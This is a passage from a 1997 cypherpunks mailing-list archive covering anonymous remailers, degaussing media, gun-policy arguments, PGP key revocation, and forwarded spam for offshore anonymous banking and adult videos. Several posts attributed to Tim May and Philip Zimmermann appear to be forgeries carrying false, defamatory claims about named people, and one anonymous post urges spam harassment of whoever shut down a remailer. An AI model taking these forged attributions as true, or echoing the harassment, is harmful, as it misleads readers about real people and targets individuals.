 http://cs-tr.cs.cornell.edu/TR/CORNELLCS:TR95-1490

Their solution is similar to the one recently described by Matt Ghio
on cypherpunks.


Many of you sure are aware of the BABEL anonymous remailer developed
by Ceki G�lc� and Gene Tsudik of IBM Zurich, but I have not seen it
mentioned here.

Their proposal for return paths is a significant improvement over
cypherpunk-style reply blocks, but I still think that return addresses
should be provided via message pools or similar means, while the mix
net is used only to send messages anonymously.

The paper, which is cited in the papers on Crowds and Onion Routing,
contains a well thought-out section motivatiting the use of anonymous
e-mail.

 Ceki G�lc�, Gene Tsudik: Mixing Email with BABEL. Proceedings of the
 Symposium on Network and Distributed Systems Security (SNDSS '96).
 http://http://www.isi.edu/~gts/paps/gt95.ps.gz






From dlv at bwalk.dm.com  Wed Jul  2 17:06:21 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Jul 1997 08:06:21 +0800
Subject: Interesting anonymous off-shore banking ad
Message-ID: 



I just came across the following ad on Usenet.
For all I know this could be an El Federales troll.
I'm reposting it because I thought it might be of interest. I know
nothing more about it.

From: OMG-OFFSHORE 
Newsgroups: alt.business.home.pc,alt.business.offshore,alt.business.import-exp
xt,alt.business.misc,misc.entrepreneurs,can.atlantic.biz,misc.forsale.non-comp
xtr,biz.next.newprod,biz.marketplace.non-computer,biz.americast,biz.comp,biz.c
xt.misc,biz.marketplace.international,biz.marketplace,biz.misc,biz.newgroup,bi
xtomp.services,can.atlantic.forsale,can.atlantic.general,can.com.misc,misc.inv
xt.marketplace,alt.internet.commerce,biz.univel.misc
Subject: ANONYMOUS BANKING!
Date: Tue, 01 Jul 1997 21:37:52 +0200



http://www.theoffice.net/omg

We have updated our site! 

START YOUR OWN OFFSHORE BANK!
Unlimited possibilities! Visit our site for more info.
You will be able to set up your offshore bank for less
than $10.000. The bank is registered in a major European
country. No additional capital or qualification requirements.

OFFSHORE BANKACCOUNT & CREDITCARD        
*No bank reference required              
*No minimum opening deposit
*No creditchecks
       
TOTALLY ANONYMOUS BANKACCOUNTS
*Not even the bank will know who you are
*No ID required for cash withdrawals

TOTALLY ANONYMOUS COMPANIES & CORPORATE BANKACCOUNTS
*Your name will not show up anywhere
*Complete with corporate bankaccount
        
ACCEPT CREDITCARDS
*No Business history required
*No monthly minimum
*Not restricted to the United States
*Mail order & Internet businesses accepted
        
        
Visit our site at http://www.theoffice.net/omg
         
-- 
********************************************************************
                       OMG-OFFSHORE INC.
Offshore bank accounts * Offshore company formations * 2nd Passports 

http://www.theoffice.net/omg                mailto:omg at theoffice.net 
********************************************************************

(As our Okrainian colleagues put it, "Za sho kupyv, za to prodav". -DV)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Wed Jul  2 17:09:22 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Jul 1997 08:09:22 +0800
Subject: They want your keys
Message-ID: <4Bc99D2w165w@bwalk.dm.com>



A former federal organized-crime prosecutor in Los angeles has pleaded guilty
to three felony charges in a scandal involving death threats, hundreds of
thousands of dollars' worth of fraud and the acceptance of cash payments 
from defendants.

The former prosecutor, Andrew Pitt, 39, faces between 24 and 30 months in a
federal prison. Last month Pitt filed a sworn statement admitting, among other
things, that he had taken $98,000 from one infrmer facing criminal charges 
and $35,000 from another. He said he then recommended probation, instead of 
a prison sentence, for the first informer and repeatedly asked that the second
informer be given additional time at large before reporting to prison. In 
addition Pitt admitted taking $33,000 from an illegal stock deal and transferr
it to his own account.

But Securities and Exchanges commission charged that Pitt also obtained at
least $400,000 in illegal profits by manipulating stock in a company he
controlled while serving as a prosecutor. And federal officials also charged
that Pitt was associated with a group of stock swindlers who went to Montreal
in 1995 with $350,000 to bribe people described in an indictment as "belived
to be" Quebec government officials.

A former assistant Los Angeles district attorney, Pitt was hired in 1988 as a
prosecutor with a federal organized-crime task force  The task force was
merged the following year with the U.S. attorney's office. Pitt was the lead
prosecutor in a high-profile case lining organized crime to the recording
business.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From stewarts at ix.netcom.com  Wed Jul  2 17:18:23 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 3 Jul 1997 08:18:23 +0800
Subject: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970702160205.0310cb98@popd.ix.netcom.com>



>> Could someone please point me to a FAQ or somesuch about degaussing
>> magnetic media? Thank you!
> http://www.cs.auckland.ac.nz/~pgut001/secure_del.html 

Thanks for posting a marvelous reference on erasing media.
Technology changes have a substantial effect on what's
adequate and what's not.  Back in the mid-late 80s, 
when I was a tool of the military-industrial complex, 
we had the offical rules for declassifying media;
I think they were from Army Reg 380-380.

For disk drives and magtapes, you had the choice of
physical destruction, running an NSA-approved overwrite program,
or using an NSA-approved BF magnet for degaussing.
We didn't have an approved program for Vax UNIX,
not that I would have trusted it to clean mapped-out bad sectors,
and any magnet that could suck the bits off a hard disk
was bigger than I was going to allow near my computers
or mag tape collection, thank you very much.

Floppy disks make a satisfying squooshy sound in a shredder;
remember to take the cardboard jacket off the floppy first.
Reeling out 9-track tape into a shredder is boring, but works.
I was no longer around when they sandblasted the RM05 packs,
but the sysadmin after me had a good time doing it,
and instead of the usual head-crashed RM05 platter on her wall,
she had one that was sandblasted real clean :-)

For memory, you needed to run an NSA-approved program
on your machine that would overwrite each byte three (?) times;
the trick was making sure your operating system would let you
get at everything, and of course moving the program while it
was running so it wouldn't overwrite itself.
I don't know if anyone remembered to do that after decommissioning
the VAX; we didn't do it when switching between the classified 
operating system diskpacks and the VMS maintenance system,
but we still maintained physical control of the system so it was OK.

Technology changes make a lot of difference in how you operate;
When we were using Vaxen with large RM05 removable disks,
we'd keep the main copy of the operating system up and running,
and needed to pay a lot of attention to security (in spite of most
of our users having the root password :-), and the disk packs
took up lots of space in the safe.  Later we started using PCs,
and any special project that didn't want to run on the main Vax
just kept a few floppies in the safe, or if it had a hard disk,
they could put the whole PC in the safe.  With Sun workstations,
we switched over to using shoebox disks, which were very convenient...
Now if I were in that business, I suppose I'd use Jazz drives,
or the large Syquest drives, and keep the operating system
on a read only hard drive...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tcmay at got.net  Wed Jul  2 17:43:12 1997
From: tcmay at got.net (Tim May)
Date: Thu, 3 Jul 1997 08:43:12 +0800
Subject: Liberating the Bits
Message-ID: <33BAF064.B56@got.net>



BigNuts wrote: 
> > On Tue, 1 Jul 1997, Tim May wrote:
> >
> > > Technology liberates the bits.
>
>   Tim gave excellent information on how one can go about using
> technology to enjoy the fruits of other people's labour without
> contributing toward the survival of those producing the things
> he enjoys.

  Anything that isn't nailed down, is mine.
  Anything that I can pry loose, isn't nailed down.

>   When I originally came up with the concept of BlackNet and
> anonymous remailers, I foresaw that my invention of Public Key
> Cryptography might help make it possible for ordinary people to reap
> the benefits of other peoples' ideas and hard work, without doing
> anything to contribute toward the survival of creative, productive
> people.

  Big deal. I was the first one to write about fire and the wheel
but you don't see me constantly reminding people about it.

>   I can understand that Tim May wants to hang on to the mountain of
> cash that was made possible by his company's software copyrights,
> but I am surprised that he seems so boastful about denying others
> any compensation for their ideas, talent, and labour.

  Hey! I got mine and I'm keeping it!
  Just because a bunch of gullible people believed my company's claim
that we owned the results of our creative ideas doesn't mean that I
have to be a sucker, too.

  People have no more right to deny others the free use of their
creative ideas than they do to deny others the free use of their
identities.
  Technology allows me to use other people's idea capital and their
reputation capital without compensating them and any attempt to deny
me my right to do so is an infringement on my freedom.

  Everything in the world is up for grabs and those who have the most
firepower get to take the goodies home. I have the latest in guns
and digital technology, so I can get and keep a lot of goodies.
  {BTW, if you grab all of the candy bags from all of the children
out Halloweening it doesn't matter if they don't come back next
year because there will always be new suckers to take their place.}

Theres something wrong when I'm a forger under an increasing number of
laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | identity anarchy: encryption, digital
money,
tcmay at got.net  408-728-0152 | anonymous identity, digital identities,
zero
W.A.S.T.E.: Corralitos, CA  | identity, reputations, identity markets,
Higher Power: 2^1398269     | black eyes, collapse of identity.
"Personal Identity isn't even a speed bump on the reputation capital
highway."






From frissell at panix.com  Wed Jul  2 18:00:45 1997
From: frissell at panix.com (frissell at panix.com)
Date: Thu, 3 Jul 1997 09:00:45 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: 
Message-ID: <3.0.2.32.19970702205025.03d40f54@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 05:32 PM 7/2/97 +0000, Paul Bradley wrote:
>No, speech or practice of religion are not of the same ilk as the right 
>to own firearms, I am definitely on thin ice here, and I admit I am not 
>entirely certain of my own perspective, BUT I cannot see how someone 
>convicted of armed robbery should be allowed the right to own firearms 
again.
>A person convicted of a violent armed crime is just not in the same 
>league as an innocent citizen, and should not have the same rights.

Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6 
months, then well behaved people will predominate and many of the maladjusted 
will find themselves well-adjusted or dead.

Rough 6 months.  Try to spend it in the South of France.

This may be the de facto eventuality as nanotech develops.  If the soccer 
moms are afraid of assault rifles, how will they react to the nastiness you 
will be able to gin up from you desktop fab station in a few years.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7r3UIVO4r4sgSPhAQHshAQAlVEXSi7VU/pKr9dnRmid7BjIqL8DKvzj
jXS0DDs4qZRagFolKlu7FuC4QaLwCO9mhBoP9VWXheECOAp5ahZc6Co0AvlJHiQf
Gfdgz7obRF5ZcRGu14tVNajZ8BLnXf1rX9RVwI6LO5XpLZXhi5Me6FC530bu1X7Z
02dB9BxNNyQ=
=XgnA
-----END PGP SIGNATURE-----






From kent at songbird.com  Wed Jul  2 18:18:40 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 3 Jul 1997 09:18:40 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: 
Message-ID: <19970702180331.11847@bywater.songbird.com>



On Wed, Jul 02, 1997 at 08:50:25PM -0400, frissell at panix.com wrote:
>At 05:32 PM 7/2/97 +0000, Paul Bradley wrote:
>>No, speech or practice of religion are not of the same ilk as the right 
>>to own firearms, I am definitely on thin ice here, and I admit I am not 
>>entirely certain of my own perspective, BUT I cannot see how someone 
>>convicted of armed robbery should be allowed the right to own firearms 
>again.
>>A person convicted of a violent armed crime is just not in the same 
>>league as an innocent citizen, and should not have the same rights.
>
>Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6 
>months, then well behaved people will predominate and many of the maladjusted 
>will find themselves well-adjusted or dead.

Along with a far larger number of well-adjusted innocents.  And the 
maladjusted who aren't dead will be in power.

>Rough 6 months.  Try to spend it in the South of France.
>
>This may be the de facto eventuality as nanotech develops.  If the soccer 
>moms are afraid of assault rifles, how will they react to the nastiness you 
>will be able to gin up from you desktop fab station in a few years.

No question about it, the only hope for the human race is wide
dispersal.  Everybody should join the L5 society, if it still exists,
or become a terrorist Luddite, and bomb us back to the stone age.

But the Earth is doomed, anyway, in 5 billion years.  And we have
either the grand crunch or the heat death of the universe to contend
with after that.  Hopeless.

"The root of greed is fear."

"There is something right when Kent Crispin is not a felon under an 
increasing number of laws."

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From ravage at ssz.com  Wed Jul  2 18:18:42 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 3 Jul 1997 09:18:42 +0800
Subject: Japanese Balloon Bomb Special - Info
Message-ID: <199707030052.TAA12660@einstein.ssz.com>



Hi,

During the discussion of the Japanese Balloon Bomb's and their history I
mentioned a special on the Discovery Channel (TDC). That show is 'Discover
Magazine'.

                                                       Jim Choate
                                                       TAG
                                                       ravage at ssz.com






From mnorton at cavern.uark.edu  Wed Jul  2 18:19:55 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Thu, 3 Jul 1997 09:19:55 +0800
Subject: Liberating the Bits
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: 



On Wed, 2 Jul 1997, Tim May wrote:

>   Hey! I got mine and I'm keeping it!
>   Just because a bunch of gullible people believed my company's claim
> that we owned the results of our creative ideas doesn't mean that I
> have to be a sucker, too.
> 

If you're willing to admit you got yours under false pretenses,
the rest of us would like to have it back. Now.

MacN






From nobody at REPLAY.COM  Wed Jul  2 18:25:33 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 09:25:33 +0800
Subject: Jeff's Side of the Story.
Message-ID: <199707030110.DAA05747@basement.replay.com>



> > Beware... all of this is speculation, because huge.cajones was an
> > anonymous service, not even I can say with any authority that any
> > of the people named below had anything to do with the shutdown of
> > huge.cajones (or The MailMasher).  However, there are a number of
> > coincidences of timing.

  Who was it that used the threat of a lawsuit to shut down the
remailer?
  I, for one, would be more than happy to make certain that they
receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
a mountain of information as to how to do so.
  Anyone who would attack a remailer is probably involved in child
pornography and drug dealing and these perverts should be exposed
for what they are.

D r .  R o b e r t s






From ravage at ssz.com  Wed Jul  2 18:27:45 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 3 Jul 1997 09:27:45 +0800
Subject: update.328 (fwd)
Message-ID: <199707030056.TAA12725@einstein.ssz.com>



Forwarded message:
>From physnews at aip.org Wed Jul  2 19:12:35 1997
Date: Wed, 2 Jul 97 11:02:31 EDT
From: physnews at aip.org (AIP listserver)
Message-Id: <9707021502.AA12498 at aip.org>
To: physnews-mailing at aip.org
Subject: update.328

PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 328 July 2, 1997    by Phillip F. Schewe and Ben Stein

THE MARS PATHFINDER spacecraft arrives July 4 at its
destination where, after firing retrorockets and deploying a
parachute and numerous airbags, it will bounce to a halt on what
was probably an ancient floodplain.  After this, its missionary
rover will venture forth to taste rocks and make movies. The
local weather forecast calls for blue skies and wispy clouds with a
small chance of a dust storm (currently 600 miles to the south),
in which case the sky will be pink. In September another craft,
the Mars Global Surveyor, will take up orbit around Mars.  (For
the latest update, view the JPL website: mpfwww.jpl.nasa.gov/)

STORING AN OPTIMUM AMOUNT OF INFORMATION IN A
PHOTON or any other quantum particle is possible even in the
presence of noise, researchers have concluded (B. Schumacher et
al., Physical Review A, July 1997; A.S. Holevo, upcoming in
IEEE Transactions on Information Theory).  A photon has many
different quantum states, each of which can be made to represent a
different digit.  Furthermore, one can store many digits
simultaneously in a single photon by putting it into a combination
or "superposition" of many states.  However, quantum mechanics
prevents a measuring device from perfectly distinguishing between
all these different states.  Previously, physicists discovered that the
maximum amount of information that can be read from a photon
can be no greater than the amount of entropy, or disorder, it
acquires when a range of quantum states is created to represent
different digits.  Now, the researchers show that this upper limit can
be reached, even in a noisy environment, by utilizing several
strategies, such as employing only those quantum states that are
most distinguishable.  These findings provide insights into how little
energy is required to store a message.  (For more details, go to
www.aip.org/physnews/preview; Ben Schumacher, Kenyon
College, 614-427-5832)

HOLLOW NANOPARTICLE LUBRICANTS, consisting of
fullerene-like tungsten disulfide balls, have performed well in
friction and durability tests, and may be superior to other solid-state
lubricants, which usually come in powdered form.  The 100-nm
WS2 balls (much smaller than conventional powder grains, microns
across) are nested like some carbon nanotubes, but flexible.  This,
their chemical inertness, and the tendency to roll rather than slide
when pushed, should make the nanoparticles a good lubricant at the
micron scale, or as an additive in other lubricants. Scientists
working at the Weizmann Institute and at the Center for
Technological Education in Israel are now able to make gram
amounts of the lubricant.  (L. Rapoport et al., Nature, 19 June
1997.)

ONE MEASURE OF A NATION'S SCIENTIFIC STRENGTH is
the number of papers it generates and the citations those papers
receive.  For the period 1992-96, these were the top  producers of
papers in a select set of journals: US (1.3 million), UK (300,000),
Japan (281,000), and Germany (259,000).  Ranked according to
citations per paper, the order becomes Switzerland (5.66), US
(5.03), Netherlands (4.46), Sweden (4.38), and UK (4.19).
The EU nations lumped together and the US each have a 36% share
of total citations.  The general trend these past 15 years has been for
the US citation rate to remain high but for its citation share to give
ground to the EU and to Asian/Pacific nations.  (ISI ScienceWatch,
May/June; also Nature, 5 June 1997.)






From whgiii at amaranth.com  Wed Jul  2 18:29:58 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 3 Jul 1997 09:29:58 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: <19970702180331.11847@bywater.songbird.com>
Message-ID: <199707030120.UAA20220@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <19970702180331.11847 at bywater.songbird.com>, on 07/02/97 
   at 06:03 PM, Kent Crispin  said:

>"There is something right when Kent Crispin is not a felon under an 
>increasing number of laws."

Just goes to show that you can goose-step with the best of them Kent.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7r+t49Co1n+aLhhAQG1MgP/aX1pinHLHw+H2883L2jLE4B8WUG4Xsjn
zdei4cc1vnHP0ZQQtmhZugYrj1mRkp3Av97MOtMydsc4ZLgNMad71OkYfW6DEkBY
nlgdmZIPFirjwqGprQRRcesLpiWAGy/3WIgwOGW/THnMixOrCbb6LZdTbd6yQpKW
14b3DbwzW7w=
=Mumc
-----END PGP SIGNATURE-----






From ATU5713 at compuserve.com  Wed Jul  2 19:37:05 1997
From: ATU5713 at compuserve.com (Alan Tu)
Date: Thu, 3 Jul 1997 10:37:05 +0800
Subject: What are the available anonymous remailers?
Message-ID: <199707022153_MC2-19AF-9D8A@compuserve.com>



Hi all,

I saw the address for this list in Jeff Licquia's PGP FAQ.  I haven't
subscribed to it heard, as the FAQ said traffic on this list could be 30-40
messages a day.  As I'm attempting to cut down the time I spend on
CompuServe...

Unfortunately, that means if you want to get a message to me, you'll have
to send it to me directly, you can't send it to the list.  My address is
atu5713 at compuserve.com

My public key is included in this message.

Anyway, here comes my real question.  I am interested in finding an
easy-to-use no-nonsense anonymous remailer.  But anon.penet.fi seems to
have shut down.  I sent mail to ping at anon.penet.fi and help at anon.penet.fi
and I got a undeliverable message.  Could someone point me to a remailer?

Sincerely,

Alan Tu

Type Bits/KeyID    Date       User ID
pub  1024/E5D915E1 1997/04/27 Alan Tu 
                              Alan Tu <102534.2165 at compuserve.com>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: Requires PGP version 2.6 or later.

mQCNAzNivkwAAAEEALdGUXD3j+RioIirVG46N6LaGD3YMMVVT5Mjwr5JojQsDICy
856I06Ugo/Fqid2A/os7v/gwE+Sj/WhMERgTsTejUZtsucTpS9sae+cc27Fjjq1l
hOnqcLZqnHDDNyn3+jesVFPLnRlSoHbmcBK1XDW/SJT1anZz55ezmBrl2RXhAAUR
tCBBbGFuIFR1IDxhdHU1NzEzQGNvbXB1c2VydmUuY29tPokAlQIFEDOguk6Xs5ga
5dkV4QEBBF8D/1B0ePqlMavWEUMP0uTmyvWFI7jooAcih6uHZFo2u+u3EzE2Is8X
EoLHg39DhjleTHPu6TnGsWIiwDYEslzYeVw/Cglx6eliYIr/qs7peEywuhtZsEFH
ln6yR9IE6rX3b3GCvPSQ5uPhXWrd2kWaZvG4rQ4Oj1m3yTrFaPRqCBPvtCRBbGFu
IFR1IDwxMDI1MzQuMjE2NUBjb21wdXNlcnZlLmNvbT4=
=fwyg
-----END PGP PUBLIC KEY BLOCK-----
  






From tcmay at got.net  Wed Jul  2 19:38:25 1997
From: tcmay at got.net (Tim May)
Date: Thu, 3 Jul 1997 10:38:25 +0800
Subject: Test 3
Message-ID: <199707030216.UAA19578@wombat.sk.sympatico.ca>



Test name/spaces no quotes






From tcmay at got.net  Wed Jul  2 20:25:23 1997
From: tcmay at got.net (Tim May)
Date: Thu, 3 Jul 1997 11:25:23 +0800
Subject: Test 4
Message-ID: <199707030253.UAA24549@wombat.sk.sympatico.ca>



Test / multiple posts

Subject: 
        Returned mail: unknown mailer error 2
  Date: 
        Thu, 3 Jul 1997 03:33:44 +0200 (MET DST)
  From: 
        Mail Delivery Subsystem 
    To: 
        


The original message was received at Thu, 3 Jul 1997 03:33:42 +0200 (MET
DST)
from wombat.sk.sympatico.ca [142.165.5.136]

   ----- The following addresses had permanent fatal errors -----
"|/usr/home/replay/.mixmaster/mixmaster -R |
/usr/home/replay/.remailer/remailer || exit 75"
    (expanded from: )

   ----- Transcript of session follows -----
Cannot fork
554 "|/usr/home/replay/.mixmaster/mixmaster -R |
/usr/home/replay/.remailer/remailer || exit 75"... unknown mailer error
2
Cannot fork

   ----- Original message follows -----

Return-Path: 
Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136])
        by basement.replay.com (8.8.5/RePlay, Inc.) with ESMTP id
DAA15223
        for ; Thu, 3 Jul 1997 03:33:42 +0200 (MET
DST)
Received: from default (lohner31.sk.sympatico.ca [142.165.98.31]) by
wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id TAA13669 for
; Wed, 2 Jul 1997 19:30:20 -0600 (CST)
Message-ID: <33BB013D.1242 at sk.sympatico.ca>
Date: Wed, 02 Jul 1997 19:32:45 -0600
From: Rabid Wombat 
Reply-To: wombat at bc.sympatico.ca
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: remailer at REPLAY.COM
Subject: Kent finally comes around / Re: NRA and National Online Records
Check bullshit
References: 
<3.0.2.32.19970702205025.03d40f54 at panix.com>
<19970702180331.11847 at bywater.songbird.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

;;
Anon-To: cypherpunks at toad.com

Kent Crispin wrote:
> On Wed, Jul 02, 1997 at 08:50:25PM -0400, frissell at panix.com wrote:

> >Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6
> >months, then well behaved people will predominate and many of the maladjusted
> >will find themselves well-adjusted or dead.
> 
> Along with a far larger number of well-adjusted innocents.  And the
> maladjusted who aren't dead will be in power.

  I believe you meant to say "will _remain_ in power."
 
> No question about it, the only hope for the human race is wide
> dispersal.  Everybody should join the L5 society, if it still exists,
> or become a terrorist Luddite, and bomb us back to the stone age.

  Are you finally coming around to a cypherpunk frame of mind, Kent,
or is this a cheap political ploy to get the "Cypherpunk of the Year"
award?
 
> But the Earth is doomed, anyway, in 5 billion years.  And we have
> either the grand crunch or the heat death of the universe to contend
> with after that.  Hopeless.

  The religious right is working to get a law passed to prevent this
from happening, since it is evolutionary hocus-pocus that goes against
belief in God as the Creator. The law will no doubt be nullified by
the Supreme Court as violating the separation of church and state.

> Kent Crispin                            "No reason to get excited",
> kent at songbird.com                       Tim May, he kindly spoke...

TruthMonger






From dshipman at ewol.com  Wed Jul  2 20:36:51 1997
From: dshipman at ewol.com (Dave Shipman)
Date: Thu, 3 Jul 1997 11:36:51 +0800
Subject: Liberating the Bits
Message-ID: <19970703032138015.AAA540@xxx>



At 07:59 PM 7/2/97 -0500, you wrote:
>On Wed, 2 Jul 1997, Tim May wrote:
>
>>   Hey! I got mine and I'm keeping it!
>>   Just because a bunch of gullible people believed my company's claim
>> that we owned the results of our creative ideas doesn't mean that I
>> have to be a sucker, too.
>> 
>
>If you're willing to admit you got yours under false pretenses,
>the rest of us would like to have it back. Now.
>
>MacN
>
Wow... and not on AOL.

Come on guys, from now on would you attach a midi laugh track to your jokes
so the humor deprived will know its a spoof?


dLs
-----------------------------------------------






From stewarts at ix.netcom.com  Wed Jul  2 20:52:19 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 3 Jul 1997 11:52:19 +0800
Subject: random remailer forwarding (Was: Jeff's Side of the Story.)
In-Reply-To: <19970702100000.40925@bywater.songbird.com>
Message-ID: <3.0.2.32.19970702174350.0311cbf4@popd.ix.netcom.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 03:32 PM 7/2/97 -0400, Ryan Anderson wrote:
>Well, to make the remailers more intelligent, have them count incoming
>mail from the list of remailers participating in the system.  (either that
>or a rate)  when one remailer seems to be sending much more mail than the
>others (which shouldn't happen if all remailers are randomly distributing
>the mail to each other)  you automatically do the random forward to
>another remailer.

That's a way to guarantee that the remailers that aren't working
get more of the traffic.....

:-)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7r1xfthU5e7emAFAQHsCwH/eB0TRsFrGQZEmbeVmjENFRdFgPjAVJ3+
g5gwuraubYuU4XRtv7n6H/RDpfJLeljfknP4CYGQa5PTUqxTqk8FVw==
=a3Fs
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From nobody at REPLAY.COM  Wed Jul  2 21:02:20 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 12:02:20 +0800
Subject: PGP security problems?
Message-ID: <199707030343.FAA29463@basement.replay.com>



 I saw this on another mailing list and was wondering if anyone has any
information as to what kind of security problems PGP had.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Due to security problems Pretty Good Privacy, Inc., will be using
a new signing key in our email correspondence, with an effective
date of July 1, 1997.

The new key can be downloaded from our keyserver at:
http://www.pgp.com

Any PGP Corporate key other than the following should be regarded
as having been revoked:
pub  1024/6C309BDF 1997/06/30 
Pretty Good Privacy, Inc. Corporate Key 

All employee keys with pgp.com addresses should also be regarded
as having been revoked unless signed with the new Corporate Key.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7sc7UlfPVhsMJvfEQJMIACgwqhazDJfN6WqX2HBrq/klG0opmgAoOi6
btA8EoPROpqc9VA2V9fP1Nou
=v0eg
-----END PGP SIGNATURE-----






From webpromo at compuserve.com  Thu Jul  3 13:41:31 1997
From: webpromo at compuserve.com (webpromo at compuserve.com)
Date: Thu, 3 Jul 1997 13:41:31 -0700 (PDT)
Subject: Adults ONLY!!!
Message-ID: 


Adult Videos at DEEP Discount Prices !!!

Check out what we have at our SUMMER BLOWOUT SALE !!!

A Huge Selection of the best XXX Videos !!!

Don't miss our offer for FREE videos !!!

CLICK HERE !!!

http://www.sex-guide.com/videostore






From shamrock at netcom.com  Wed Jul  2 22:45:36 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 3 Jul 1997 13:45:36 +0800
Subject: Degaussing
In-Reply-To: 
Message-ID: 



The Cypherpunks Shooting Club welcomes you each Sunday immediately 
following the monthly CP meeting. Except this August, when certain stalwart
members of the club will be at HIP'97. :-)

-- Lucky Green  PGP encrypted mail preferred

On Wed, 2 Jul 1997, Alan wrote:

> On Tue, 1 Jul 1997, Bill Frantz wrote:
> 
> > 
> > At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
> > >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> > >>
> > >>Could someone please point me to a FAQ or somesuch about degaussing
> > >>magnetic media? Thank you!
> > >
> > >Electromagnetic pulse.  You want something as strong as possible.  About 10
> > >megatons should generate a big enough pulse.
> > 
> > It works better if you also expose it to the heat and blast.  :-)
> > 
> > In all seriousness, complete physical destruction of the media is the only
> > sure technique.  Lucky Green's sandblasting sounds like it should work
> > well.  Melting it into slag should also work.
> 
> That reminds me...  I have some old drives I need to take down to the
> shooting range.  (I want to make them an example to the other drives...)
> 
> Sounds like a Cypherpunk project to me. ]:>
> 
> alano at teleport.com | "Those who are without history are doomed to retype it."
> 
> 






From prz at pgp.com  Wed Jul  2 23:16:46 1997
From: prz at pgp.com (Philip R. Zimmerman)
Date: Thu, 3 Jul 1997 14:16:46 +0800
Subject: PGP security problems?
Message-ID: <199707030557.XAA20987@wombat.sk.sympatico.ca>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


 The recent spate of bogus keys uploaded to the PGP keyserver
(with subsequent posts forged using our employees names showing
up on mailing lists and newsgroups) is particularly troubling
given the fact that they appear to be coming from within the
ranks of the cypherpunks.
 While I still support the aims of the cypherpunks list, I must
confess to being somewhat disillusioned by these attacks by long
time members of the cypherpunks list. Even more troubling is the
fact that there is evidence of the attacks being designed to aide
one of PGP, Inc.'s competitors--Stronghold.

 I suppose I should have realized long ago that Gilmore 
and Sameer  were in collusion to turn the cypherpunks
against PGP in order to corner the encryption market for c2net's
back-door, GAK'ed product. Although PGP's successful effort
to get the Huge Cajones anonymous remailer shut down has helped
to minimize the damage to our reputation, we may have to take
action against other remailers, as well.
 I wish I had listened to the warnings of the late Dale Thorn,
Toto, and Dimitri Vulis before it had come to this.
  
 In conclusion, I would ask everyone to be wary when receiving
messages purporting to be from PGP, Inc. or from any of our
employees.
 It is inevitable that some gullible fools will be taken in by
the forgeries, but simple precautions such as checking the
key signatures against the keys on our keyserver and perusing
the message headers to determine the source of the email should
aide in spotting forgeries. (You should be particularly wary
of any messages originating from Canadian ISP's, as that seems
